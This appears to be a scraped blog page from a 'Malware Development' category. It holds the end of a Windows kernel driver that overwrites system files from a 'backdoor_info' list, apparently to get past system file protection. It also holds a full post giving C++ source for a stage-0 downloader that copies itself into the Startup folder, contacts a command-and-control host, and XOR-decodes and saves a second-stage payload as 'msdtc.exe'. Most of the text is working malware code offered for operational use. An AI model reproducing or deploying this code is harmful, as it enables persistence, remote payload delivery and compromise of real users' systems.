					FILE_SUPERSEDE,
					FILE_SYNCHRONOUS_IO_NONALERT,
					NULL,
					0);
				if (!NT_SUCCESS(nt_status))
				{
					// Could not open information file for reading.
					// We need a way to log the error and possibly handle it in the future.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER] Unable to open target file.\n");
#endif
					ZwClose(current_source.handle);

					return STATUS_UNEXPECTED_IO_ERROR;
				}

				// Now handles to both SOURCE and TARGET are created.
				// Time to read from SOURCE.
				// Allocate memory to hold contents. (PagedPool)
				nt_status = ZwQueryInformationFile(current_source.handle,
													&io_status_block,
													&current_source.file_standard_information,
													sizeof(FILE_STANDARD_INFORMATION),
													FileStandardInformation);
				if (!NT_SUCCESS(nt_status))
				{
					// Unable to query file information.
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_DATA_ERROR;
				}

				current_source.file_size = (SIZE_T) current_source.file_standard_information.EndOfFile.LowPart;
				current_source.buffer = (PCHAR) ExAllocatePoolWithTag(PagedPool,
																 current_source.file_size + 1,
																 'gaT1');
				if (!current_source.buffer)
				{
					// There is not enough memory in the system to replace the file.
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_DATA_ERROR;
				}
				// We must FREE current_source.buffer from now on during errors.

				byte_offset.LowPart = byte_offset.HighPart = 0;
				nt_status = ZwReadFile(current_source.handle,
										NULL,
										NULL,
										NULL,
										&io_status_block,
										current_source.buffer,
										current_source.file_size,
										&byte_offset,
										NULL);
				// No need to leave NULL because we know file_size.
				if (!NT_SUCCESS(nt_status))
				{
					// Do not log an error.  If there is no information file,
					// assume there is nothing to update.
#ifdef _DEBUG
					DbgPrint("[MICROSOFT_DRIVER_DEBUG] No information file\n");
#endif
					ExFreePoolWithTag(backdoor_info.buffer, 'gaT1');
					ZwClose(current_source.handle);
					ZwClose(current_target.handle);

					return STATUS_SUCCESS;
				}

				byte_offset.LowPart = byte_offset.HighPart = 0;
				nt_status = ZwWriteFile(current_target.handle,
										NULL,
										NULL,
										NULL,
										&io_status_block,
										current_source.buffer,
										current_source.file_size,
										&byte_offset,
										NULL);
				if (NT_SUCCESS(nt_status))
				{
					// We successfully replaced the file.
					// Let the usermode know somehow.
					// Print with UNICODE, http://www.winvistatips.com/can-dbgprint-unicode_string-t186503.html
#ifdef _DEBUG
					DbgPrint("We successfully replaced %wZ\n", current_target.path);
#endif
				}

				else
				{
					// We did not successfully replace the file.
					// Let the usermode know somehow.
#ifdef _DEBUG
					DbgPrint("Unable to successfully replace %wZ\n", current_target.path); 
#endif
				}

				// Cleanup for each loop.
				is_source = true;
				ZwClose(current_target.handle);
				ZwClose(current_source.handle);
				//ExFreePoolWithTag(current_target.buffer, 'gaT1');
				ExFreePoolWithTag(current_source.buffer, 'gaT1');
			}

			bytes_read += char_index_in_line;
			char_index_in_line = 0;	// If a new line exists, we must start at beginning.
			// Reset the "current_target_file_path" and "current_source_file_path".
			RtlZeroMemory(current_target_file_path, sizeof(current_target_file_path));
			RtlZeroMemory(current_source_file_path, sizeof(current_source_file_path));

			// We continue to skip the processing directly below us, as we
			// don't wish to copy the NULL or Windows newline to buffer.
			continue;
		}

		// If the character wasn't EOF (backdoor_info.file_size) or a Windows newline (/r/n), we end up here, to copy to buffers.
		if (bytes_read + char_index_in_line < backdoor_info.file_size)
		{
			if (is_source)
			{
				//if (!NT_SUCCESS(RtlMultiByteToUnicode
				current_source_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
				/*if (!NT_SUCCESS(RtlStringCbCopyW(current_source_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
				{
					// Unable to copy UNICODE character.
					DbgPrint("[MICROSOFT_DRIVER] Unable to copy source wchar_t\n");
				}*/
			}

			else
			{
				current_target_file_path[char_index_in_line] = *(backdoor_info.buffer + bytes_read + char_index_in_line);
				/*if (!NT_SUCCESS(RtlStringCbCopyW(current_target_file_path, sizeof(WCHAR), (WCHAR* ) (backdoor_info.buffer + bytes_read + char_index_in_line))))
				{
					// Unable to copy UNICODE character.
					DbgPrint("[MICROSOFT_DRIVER] Unable to copy target wchar_t\n");
				}*/
			}

			char_index_in_line++;	// We have to inc the counter here because we'll be off-by-one otherwise due to the combined strings 
									// in the file during parsing.
		}
	}

	// We need to write the new version to the "patch.scc" file.
	// 
	nt_status = UpdateSystemPatchVersion(next_version);
	if (!NT_SUCCESS(nt_status))
	{
		// Unable to write "patch.scc".
#ifdef _DEBUG
		DbgPrint("[MICROSOFT_DRIVER] Unable to write success file\n");
#endif

		return STATUS_FILE_INVALID;
	}

	return STATUS_SUCCESS;
}
Posted in Malware DevelopmentTagged Bypass system file checker, c malware, malicious kernel driver, malware, System service, Win32 SFC bypass, WinDDK, Windows Driver Development, Windows file protection, Windows malicious service, winlogon, winlogon hijackLeave a comment

Windows Download and Execute (Stage 0 or 1) Malware Example Code

Posted on June 24, 2019 - June 27, 2019 by admin

This code is an example of a Stage 0 (or 1) malware written in C++ for the Windows operation system. It could be attached to various exploits, other payloads, or standalone.

A tool such as this would likely show up at the beginning of a campaign.  End stage campaigns may also find a tool like this useful for transportation of code between hosts.

int APIENTRY _tWinMain(	HINSTANCE	hInstance,
		        HINSTANCE	hPrevInstance,
			LPTSTR		lpCmdLine,
			int		cmdShow)
{
	DWORD retInstallVirus = InstallVirus();
	if (!retInstallVirus)
	{
		Sleep(30000 * (rand() % 30000));

		DWORD retDownloadStage2 = DownloadSecondStage();
		while (retDownloadStage2)
		{
			Sleep(300000);
			retDownloadStage2 = DownloadSecondStage();
		}
	}

	return 0;
}

Goal: Move ourselves to a different directory for persistence. Only run the second stage after a reboot.

What are we: We are an executable that somehow became executed on a system. Could be a standalone payload or changed to the payload in a sophisticated exploit with a few tweaks.

Contingencies: Try to install ourselves (this payload) immediately for persistence, and try to pull down our later stage after no wait to 15 minutes.

Let us begin…

#include "stdafx.h"

//
// Returns 0 if the virus already installed.
//
DWORD InstallVirus()
{
	TCHAR ourFilename[MAX_PATH];
	TCHAR new_filename[MAX_PATH];
	TCHAR relativeTargetDirectory[MAX_PATH] = _T("\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\");
	int end = 0;
	GetModuleFileName(0, ourFilename, MAX_PATH * sizeof(TCHAR));
	// Copy to AppRoaming folder.
	TCHAR* rawFilename = _tcsrchr(ourFilename, _T('\\')) + 1;
	TCHAR user_directory[MAX_PATH];
	SHGetFolderPath(NULL, CSIDL_PROFILE, NULL, 0, user_directory);
	_tcscpy_s(new_filename, user_directory);
	_tcscat_s(new_filename, relativeTargetDirectory);
	_tcscat_s(new_filename, rawFilename);

	// Check if our file already exists.
	FILE* testFile = _tfopen(new_filename, _T("rb"));
	if (testFile)
		return 0;

	size_t fileSize;
	FILE* fp = _tfopen(ourFilename, _T("rb"));
	if (!fp)
	{
		return -2;
	}
	fseek(fp, 0, SEEK_END);
	fileSize = ftell(fp);
	fseek(fp, 0, SEEK_SET);
	char* fileBuffer = new char[fileSize];

	if (fread(fileBuffer, sizeof(char), fileSize, fp) != fileSize)
	{
		return -3;
	}

	FILE* copiedFile = _tfopen(new_filename, _T("wb"));
	if (!copiedFile)
		return -4;

	fwrite(fileBuffer, sizeof(char), fileSize, copiedFile);
	fclose(copiedFile);

	return 1;
}

This function reads the contents of ourselves and writes it to the persistence location (C:\\Users\\<user_name>\\AppData\\Roaming\\Microsoft\\Windows\\Start menu\\Programs\\Startup\\)

This ensures we run every time the system starts.

Extra: Double slashes are for the escape, in case you were confused.

/* If our key matches what server expects it will send us the following struct:

	typedef struct
	{
		char		magic[4];		// "abcd"
		uint32_t	payload_size;
		byte		xor_key;
		char		payload[payload_size];
	} server_rsp;
*/
//
// Returns 0 on successfully downloading.
//
DWORD DownloadSecondStage()
{
	// Virus is already installed.
	HINTERNET hOpen = InternetOpen(	NULL,
		INTERNET_OPEN_TYPE_PRECONFIG,							 
                NULL,
		NULL,
		0);
	if (!hOpen)
		return -1;

	HINTERNET hUrl = InternetConnect(hOpen,										 
                                         _T("site.com"),
		                         80,
	   	 		         NULL,
					 NULL,
					 INTERNET_SERVICE_HTTP,
					 INTERNET_FLAG_PRAGMA_NOCACHE,
					 NULL);
	if (!hUrl)
		return -2;

	HINTERNET hRequest = HttpOpenRequest(hUrl,
					     _T("POST"),											 
                                             _T("/"),
					     NULL,
   					     NULL,
					     NULL,
					     NULL,
					     NULL);
	if (!hRequest)
		return -3;

	BOOL bRequest = HttpSendRequest(hRequest,
                      _T("Content-Type: application/x-www-form-urlencoded"),
                      _tcslen(_T("Content-Type: application/x-www-form-urlencoded")),
                       "password=1234567890",
                       strlen("password=1234567890"));

	// Read the first two members of structure. 
	DWORD numBytesRead = 0;
	DWORD numAvailable = 0;
	char* huge_buffer;
        // We must use the heap, because the stack can only hold 
        // around 0.5 mb. 
	huge_buffer = new char[10485760]();
	numBytesRead = 0;
	numAvailable = 0;
	memset(huge_buffer, 0, sizeof(huge_buffer));

	while (InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0) && numAvailable)
	{
		InternetReadFile(hRequest, huge_buffer + numBytesRead, numAvailable, &numBytesRead);
	}

	if (!InternetQueryDataAvailable(hRequest, &numAvailable, 0, 0))
	{
		delete [] huge_buffer;
		return -4;
	}

	if (numBytesRead < 9)	// Initial header size
	{
		delete [] huge_buffer;
		return -5;
	}

	if (*(huge_buffer + 0) != 'a' ||
		*(huge_buffer + 1) != 'b' ||
		*(huge_buffer + 2) != 'c' ||
		*(huge_buffer + 3) != 'd')
	{
		delete [] huge_buffer;
		return -6;
	}

We send a “password” to the Command and Control (C2) server to “authenticate” and “authorize” ourselves.

char magic[4]; // “abcd”
uint32_t payload_size;
byte xor_key;
char payload[payload_size];

We check for the structure with starting magic bytes of ‘a’ (0x61), ‘b’ (0x62), ‘c’ (0x63), ‘d’ (0x64). Next is the payload_size, which tells us how big payload is. xor_key is the “decoder” key.

	byte hi_byte = huge_buffer[4];
	byte mid1_byte = huge_buffer[5];
	byte mid2_byte = huge_buffer[6];
	byte lo_byte = huge_buffer[7];
	int payload_size =	(hi_byte << 24) +
				(mid1_byte << 16) +
				(mid2_byte << 8) +
				(lo_byte);
	char xor = *(huge_buffer + 8);

	for (int i = 0; i < payload_size; i++)
	{
		if (huge_buffer[9 + i])
			if (huge_buffer[9 + i] != xor)
				huge_buffer[9 + i] ^= xor;
	}

	FILE* downloaded_file = _tfopen(_T("msdtc.exe"), _T("wb"));		// Make sure this file deletes us when it runs.
	if (!downloaded_file)
	{
		delete [] huge_buffer;
		return -7;
	}

	if (fwrite(huge_buffer + 9, sizeof(char), payload_size, downloaded_file) != payload_size)
	{
		fclose(downloaded_file);
		delete [] huge_buffer;
		BOOL bDelete = DeleteFile(_T("msdtc.exe"));

		return -8;
	}

	fclose(downloaded_file);
	InternetCloseHandle(hUrl);
	InternetCloseHandle(hOpen);
	delete [] huge_buffer;

	// We are done;
	return 0;
}

We save the binary file as “msdtc.exe” in the directory we are executing in.

This is an example of a straight to the point malware for Windows systems new and old. It would likely run in a “stage 0” scenario, as either an encapsulated within the main payload of an initial attack (slight modifications), as a standard Windows executable (EXE/DLL), or as position independent code (PIC) as shellcode (slight modifications).

The file “msdtc.exe”, in this case, would be your long-term solution for persistence and lateral movement. Make sure it’s a good tool and you have several workable solutions for the environment you are targeting.

Posted in Malware DevelopmentTagged c malware, c++, malware, payload, stage 0, win32, WINAPILeave a comment

Recent Posts

  • Manual Scraping
  • Nitter Replacement
  • MFA Abuse in Splunk
  • Virtualbox Automation
  • Repository Poisoning

Recent Comments

    Archives

    • August 2024
    • July 2023
    • August 2022
    • March 2022
    • November 2021
    • October 2021
    • September 2021
    • August 2021
    • July 2021
    • June 2021
    • February 2021
    • December 2020
    • October 2020
    • September 2020
    • April 2020
    • March 2020
    • January 2020
    • July 2019
    • June 2019

    Categories

    • Campaign Analysis
    • Campaign Management
    • Code Analysis
    • Current Events
    • Malware Development
    • Techniques
    • Uncategorized
    • Utilities

    Meta

    • Log in
    • Entries feed
    • Comments feed
    • WordPress.org
    Proudly powered by WordPress | Theme: micro, developed by DevriX.